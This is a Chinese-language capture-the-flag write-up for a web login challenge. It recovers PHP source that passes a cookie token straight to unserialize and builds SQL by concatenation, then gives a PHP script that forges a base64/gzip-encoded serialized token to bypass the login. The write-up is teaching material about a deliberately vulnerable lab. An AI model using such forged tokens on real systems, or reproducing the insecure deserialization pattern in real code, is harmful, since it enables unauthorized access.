Web Login
题目内容:加油,我看好你
本题由擂主Wfox提供
访问发现是个登录页面,还以为是爆破弱口令,结果在页面源码里看到一行注释
<!-- test1 test1 -->
试了一下成功登录,然后重定向到了member.php
页面,发现页面里啥也没有
只能用burpsuite抓包看看了,然后在response的headers里发现可疑参数show
然后在request的headers里添加一个show
参数,值设置为1,发送,页面返回了php源码
<!-- <?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
class db
{
public $where;
function __wakeup()
{
if(!empty($this->where))
{
$this->select($this->where);
}
}
function select($where)
{
$sql = mysql_query('select * from user where '.$where);
return @mysql_fetch_array($sql);
}
}
if(isset($requset['token']))
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
}else{
header('Location: index.php?error=1');
}
?> -->(╯‵□′)╯︵┴─┴
重点是构造$login = unserialize(gzuncompress(base64_decode($requset['token'])));
只要满足if($login['user'] === 'ichunqiu')
就返回flag,主要就是有加密
下面补充点小知识:
- php的数组
<?php $array = array( "foo" => "bar", "bar" => "foo", ); // 自 PHP 5.4 起 $array = [ "foo" => "bar", "bar" => "foo", ]; ?>
题目中判断的
$login['user'] === 'ichunqiu'
就是数组,所以我们需要命名一个数组$a=array("user" => "ichunqiu")
,之后进行加密serialize() 返回字符串,此字符串包含了表示 value 的字节流,可以存储于任何地方。序列化serialize()就是可以将多个字段的值如 name、vaule、sex、money等存储在数据库表中一个字段里如extend_params,而不用另外开辟那么多字段,使用的时候就要先反序列化extend_params,使用unserialize()函数
gzcompress()实现字符串压缩,gzuncompress()实现解压
base64_encode()字符串进行base64编码加密,base64_decode() base64解密
题目按执行先后进行了base64解密,gzuncompress解压,unserialize序列化转php,我们需要按照正好相反的顺序构造加密
$a=base64_encode(gzcompress(serialize($a)));
写个php的加密脚本
<?php
$a=array("user" => "ichunqiu");
$a=base64_encode(gzcompress(serialize($a)));
echo $a;
?>
得到输出
eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==
在Cookie里添加一个token值即可得到flag